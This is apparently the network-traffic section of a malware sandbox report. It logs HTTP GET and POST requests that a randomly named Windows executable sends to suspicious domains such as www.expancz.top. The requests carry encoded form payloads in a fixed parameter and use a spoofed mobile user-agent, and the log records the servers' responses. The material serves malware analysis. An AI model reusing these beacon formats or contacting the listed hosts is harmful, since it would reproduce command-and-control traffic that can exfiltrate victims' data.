Jan 10, 2025 23:20:35.957684040 CET	542	OUT	GET /gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.070001325.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:20:36.171411991 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 10 Jan 2025 22:20:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Jan 10, 2025 23:20:36.171442032 CET	1289	IN	Data Raw: 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 73 75 63 63 65 73 73 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 35 61 62 61 Data Ascii: ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25
Jan 10, 2025 23:20:36.171504974 CET	592	IN	Data Raw: 37 20 30 2d 35 38 2e 30 30 32 2d 36 30 2e 31 36 35 2d 31 30 32 2d 31 31 36 2e 35 33 31 2d 31 30 32 7a 4d 32 35 36 20 33 33 38 63 2d 32 35 2e 33 36 35 20 30 2d 34 36 20 32 30 2e 36 33 35 2d 34 36 20 34 36 20 30 20 32 35 2e 33 36 34 20 32 30 2e 36 Data Ascii: 7 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49764	107.155.56.30	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:20:52.199682951 CET	807	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 78 33 4b 7a 73 6f 71 45 5a 64 74 68 31 76 42 58 57 71 48 55 58 54 75 39 45 2b 59 50 50 65 45 70 75 41 4a 49 7a 4c 76 73 47 62 62 2b 31 78 7a 78 51 56 63 38 74 4d 56 6b 55 38 62 61 34 49 6b 46 33 4d 44 63 31 74 4a 6f 41 75 7a 5a 36 67 45 4e 54 52 6f 69 65 6d 65 4f 4e 59 2f 70 63 54 67 49 52 66 58 72 69 4a 54 37 32 75 46 30 65 48 42 53 77 76 6d 78 4f 77 71 76 71 70 34 61 54 59 4b 79 6e 6f 4d 69 65 6e 66 42 47 36 4d 65 59 2b 63 50 34 70 6b 4c 54 42 4a 4f 52 78 57 4a 6d 4a 56 5a 36 5a 46 6c 67 72 76 6b 77 77 48 37 73 2b 68 63 63 32 4a 74 6e 51 3d 3d Data Ascii: kR8XbB2P=4KMMWvJXtNIDx3KzsoqEZdth1vBXWqHUXTu9E+YPPeEpuAJIzLvsGbb+1xzxQVc8tMVkU8ba4IkF3MDc1tJoAuzZ6gENTRoiemeONY/pcTgIRfXriJT72uF0eHBSwvmxOwqvqp4aTYKynoMienfBG6MeY+cP4pkLTBJORxWJmJVZ6ZFlgrvkwwH7s+hcc2JtnQ==
Jan 10, 2025 23:20:52.529771090 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:20:52 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49765	107.155.56.30	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:20:55.069308043 CET	827	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 79 57 61 7a 71 4a 71 45 62 39 74 69 77 76 42 58 59 36 48 51 58 55 6d 39 45 2f 64 4b 50 73 67 70 67 43 52 49 79 4f 54 73 49 37 62 2b 2b 52 7a 30 55 56 63 37 74 4d 59 5a 55 34 62 61 34 4d 45 46 33 49 50 63 31 65 68 6e 44 65 7a 62 68 51 45 50 4d 68 6f 69 65 6d 65 4f 4e 59 44 50 63 53 49 49 52 73 50 72 77 39 48 34 31 75 46 33 5a 48 42 53 30 76 6d 4c 4f 77 71 64 71 6f 6b 77 54 61 79 79 6e 73 41 69 65 32 66 43 52 4b 4d 45 63 2b 63 5a 32 4b 4e 6c 62 43 56 43 63 78 53 4c 68 49 4a 35 79 76 49 2f 39 5a 62 41 7a 6a 62 4a 6f 4f 59 30 65 30 49 32 36 64 4d 58 52 46 56 50 30 56 63 36 63 45 68 53 79 70 2b 7a 62 48 49 3d Data Ascii: kR8XbB2P=4KMMWvJXtNIDyWazqJqEb9tiwvBXY6HQXUm9E/dKPsgpgCRIyOTsI7b++Rz0UVc7tMYZU4ba4MEF3IPc1ehnDezbhQEPMhoiemeONYDPcSIIRsPrw9H41uF3ZHBS0vmLOwqdqokwTayynsAie2fCRKMEc+cZ2KNlbCVCcxSLhIJ5yvI/9ZbAzjbJoOY0e0I26dMXRFVP0Vc6cEhSyp+zbHI=
Jan 10, 2025 23:20:55.405814886 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:20:55 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49766	107.155.56.30	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:20:57.932663918 CET	2578	OUT	POST /2gcl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.expancz.top Origin: http://www.expancz.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.expancz.top/2gcl/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 34 4b 4d 4d 57 76 4a 58 74 4e 49 44 79 57 61 7a 71 4a 71 45 62 39 74 69 77 76 42 58 59 36 48 51 58 55 6d 39 45 2f 64 4b 50 73 6f 70 67 78 5a 49 7a 70 48 73 4c 37 62 2b 7a 78 7a 31 55 56 63 71 74 4d 41 56 55 35 6d 74 34 4b 49 46 78 62 48 63 6c 76 68 6e 59 4f 7a 62 2b 67 45 4d 54 52 6f 7a 65 6d 4f 4b 4e 59 7a 50 63 53 49 49 52 72 33 72 79 70 54 34 7a 75 46 30 65 48 42 57 77 76 6e 46 4f 30 47 4e 71 6f 51 4b 54 4c 53 79 69 34 73 69 63 45 48 43 54 71 4d 61 53 65 64 61 32 4b 52 6d 62 43 49 37 63 78 6d 68 68 4b 70 35 33 37 5a 2b 68 36 76 69 6c 51 33 6a 31 4f 73 6f 59 6b 51 45 31 4f 51 54 61 45 78 55 74 68 41 53 54 43 74 2b 70 72 53 55 43 43 66 48 76 61 65 32 66 7a 30 32 78 50 57 32 58 76 69 6b 6c 72 50 32 66 49 4d 6a 77 32 50 6b 66 6b 4e 54 42 50 69 48 37 6f 33 47 35 54 34 70 48 59 62 43 52 45 73 71 2b 31 45 64 63 76 73 4b 71 64 6f 34 63 7a 72 6b 62 75 34 30 37 2f 46 67 45 73 4b 6a 45 61 55 6a 53 50 4d 52 2f 6f 4b 36 4c 55 44 43 5a 4c 64 36 6a 46 78 4e 46 47 74 71 48 57 66 5a 5a [TRUNCATED] Data Ascii: kR8XbB2P=4KMMWvJXtNIDyWazqJqEb9tiwvBXY6HQXUm9E/dKPsopgxZIzpHsL7b+zxz1UVcqtMAVU5mt4KIFxbHclvhnYOzb+gEMTRozemOKNYzPcSIIRr3rypT4zuF0eHBWwvnFO0GNqoQKTLSyi4sicEHCTqMaSeda2KRmbCI7cxmhhKp537Z+h6vilQ3j1OsoYkQE1OQTaExUthASTCt+prSUCCfHvae2fz02xPW2XviklrP2fIMjw2PkfkNTBPiH7o3G5T4pHYbCREsq+1EdcvsKqdo4czrkbu407/FgEsKjEaUjSPMR/oK6LUDCZLd6jFxNFGtqHWfZZ3GEMmg2EOT/4/5F+IbjzvHyiG/jVWXmbYU5yHJstweQgCp7TczE88q337uWr6VYKM47fwJOeb+kYdnu7bq22Wh7Oy/qev8MbrVLEqTZRv5ojHFmlIp9jY03NI1ycMtjdG8b1uioZCHfcW24pfpPLBHmaWcqtGyoxSGoESXL+p/QItjKapaTpZyfWbr00Hiq+3muI4CPCHVSdA7AUwMtSHmlYkN2eOwNyDE1AQRToCykwQlOGCzItSHifxbAgz0EjUxj9+9IB1RPDX7EdDAZVkwqC0EUW7u99ICLv9NSWnQKNhW5x2ZzpH2nezb8LCKMGCxD80XgGQBbDtl4HZRFoSnRV3OITL+UVgg/TGD4a/XabTruFbbJEZKcgOmf4tou4K+oSCGeo28iWXAgS2e40pqcI3/FOtj3uSIY8P/SutkaBinIf14QR3NrG6RYpWTMPMEBe3OFRJVAWFemgMW8TdMuE+/YxqHsIbBg0ko8mH773RlanXGd1gsL9Ech5WsI1cXJjR52WR7x6GXqBNnazwnZA5bTQ0BSVhFnmSq0Hm37zny+uy7jt/9jn1S5UJdRjHBp4KW3PczBuUPcT4OO5WKvml67sGzY6Ice0OEUQxbBrINgT4vwsX2WL2l8X4SsmFuBcbVhLzHrLL/Eyv9qDRijMHXhedvYCNy [TRUNCATED]
Jan 10, 2025 23:20:57.932739973 CET	5398	OUT	Data Raw: 57 37 59 77 35 76 46 37 6c 70 52 76 53 62 69 2b 57 79 38 57 74 4e 63 53 4f 54 61 75 37 68 61 57 30 4c 4d 74 68 2f 68 6b 63 36 75 6d 42 52 6b 33 53 4f 78 37 42 39 6a 41 7a 43 75 58 4b 70 42 53 55 72 43 51 68 41 2b 74 49 2f 37 58 2b 30 44 32 4f 50 Data Ascii: W7Yw5vF7lpRvSbi+Wy8WtNcSOTau7haW0LMth/hkc6umBRk3SOx7B9jAzCuXKpBSUrCQhA+tI/7X+0D2OPoeuDUsV0btVVcC0edG367Xz8Tg/EmAAGsECuymDPGrbRNmWqIrv1M/ZjEkU265aheknJaaYL5sz+NTbdJ+bUsNaBadcWm9szYo1YXAmVs0Jzgj0CmbULj+m60AvUislGfYVqI7L+I3R2JWVNBMTs727CjWqRmOPEc
Jan 10, 2025 23:20:58.256961107 CET	697	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Fri, 10 Jan 2025 22:20:58 GMT Content-Type: text/html Content-Length: 552 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49767	107.155.56.30	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:21:00.785895109 CET	540	OUT	GET /2gcl/?kR8XbB2P=1IksVaFM1cAemyK1l5ibYOVg5dxMTrzYdVbJCfEKBOY5tDFEgZGIVKjooGjxZE8Rq+UWfqPa15shq7PO0tNmdeev1y5xTRUReV/PBfbDdzVIdNqY/oiP6dc=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.expancz.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:21:01.109721899 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 22:21:00 GMT Content-Type: text/html Content-Length: 9651 Last-Modified: Fri, 15 Nov 2024 02:47:44 GMT Connection: close Vary: Accept-Encoding ETag: "6736b650-25b3" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 6b 65 79 77 6f 72 64 73 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 79 70 65 20 63 6f 6e 74 65 6e 74 3d 77 65 62 73 69 74 65 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 69 74 6c 65 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d [TRUNCATED] Data Ascii: <!DOCTYPE html><html><head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no"><meta name=keywords content=""><meta name=description content=""><meta property=og:type content=website><meta property=og:title content=""><meta property=og:description content=""><meta property=og:url content=""><meta property=og:image content=""><meta name=HandheldFriendly content=true><meta name=apple-mobile-web-app-capable content=yes><meta name=apple-mobile-web-app-status-bar-style content=black><meta name=format-detection content="telphone=no, email=no"><meta name=screen-orientation content=portrait><meta name=x5-orientation content=portrait><meta name=full-screen content=yes><meta name=x5-fullscreen content=true><meta name=browsermode content=application><meta name=x5-page-mode content=app><meta name=msapplication-tap-highlight content=no><meta http-equiv=X-UA-Compatible content="ie=edge"><link href=https://l3filejson4dvd.josyliving [TRUNCATED]
Jan 10, 2025 23:21:01.109807014 CET	1289	IN	Data Raw: 65 2f 78 2d 69 63 6f 6e 20 72 65 6c 3d 69 63 6f 6e 3e 3c 73 74 79 6c 65 3e 23 50 4f 50 38 30 30 5f 49 4e 49 54 5f 44 49 56 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 20 Data Ascii: e/x-icon rel=icon><style>#POP800_INIT_DIV { display: none!important; } #POP800_PANEL_DIV { display: none!important; } #POP800_LEAVEWORD_DIV { display: none!important; }</style><script>var isAtm = false;
Jan 10, 2025 23:21:01.109848976 CET	1289	IN	Data Raw: 7d 65 6c 73 65 20 69 66 28 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 7b 0a 20 20 20 20 20 20 20 20 2f 2f 46 69 72 65 66 6f 78 ef bc 8c 4f 70 65 72 61 20 38 2e 30 2b ef bc 8c 53 61 66 61 72 69 ef bc 8c 43 68 72 6f 6d 65 0a Data Ascii: }else if(window.XMLHttpRequest){ //FirefoxOpera 8.0+SafariChrome xmlHttp = new XMLHttpRequest(); } // xmlHttp.open("GET",url,false); //Ch
Jan 10, 2025 23:21:01.109946012 CET	1289	IN	Data Raw: 0a 20 20 20 20 76 61 72 20 70 61 74 68 49 6e 66 6f 20 3d 20 27 27 3b 0a 20 20 20 20 76 61 72 20 62 61 73 65 4a 73 55 72 6c 20 3d 20 69 73 41 74 6d 20 3f 20 27 68 74 74 70 73 3a 2f 2f 64 71 30 69 62 35 78 6c 63 74 37 74 77 2e 63 6c 6f 75 64 66 72 Data Ascii: var pathInfo = ''; var baseJsUrl = isAtm ? 'https://dq0ib5xlct7tw.cloudfront.net/' : 'https://dq0ib5xlct7tw.cloudfront.net/'; if (getQueryVariable('path')) { pathInfo = getQueryVariable('path'); loadJs('pixelJs',baseJs
Jan 10, 2025 23:21:01.110110044 CET	1289	IN	Data Raw: 20 20 20 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 69 66 28 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 6f 75 72 63 65 20 3d 3d 3d 20 73 6f 75 72 63 65 44 61 74 61 2e 66 61 63 65 62 6f 6f 6b 53 6f 75 72 63 65 29 20 7b 0a 20 20 20 20 20 Data Ascii: }</script><script>if(localStorage.source === sourceData.facebookSource) { ! function (f, b, e, v, n, t, s) { if (f.fbq) return; n = f.fbq = function () { n.callMethod ? n.callMethod.a
Jan 10, 2025 23:21:01.110173941 CET	1289	IN	Data Raw: 64 79 22 2c 20 22 61 6c 69 61 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 67 72 6f 75 70 22 2c 20 22 65 6e 61 62 6c 65 43 6f 6f 6b 69 65 22 2c 20 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 22 0a 20 20 20 20 20 20 20 20 5d 2c 20 74 74 71 2e 73 65 Data Ascii: dy", "alias", "group", "enableCookie", "disableCookie" ], ttq.setAndDefer = function(t, e) { t[e] = function() { t.push([e].concat(Array.prototype.slice.call(arguments, 0))) } };
Jan 10, 2025 23:21:01.110373020 CET	1289	IN	Data Raw: 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 67 53 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 Data Ascii: lementsByTagName('head')[0]; var gScript = document.createElement("script"); gScript.type = "text/javascript"; gScript.src="https://www.googletagmanager.com/gtag/js?id=" + (google_id \|\| 'G-CC0LH72W84') +""; gHead.appendChild(gS
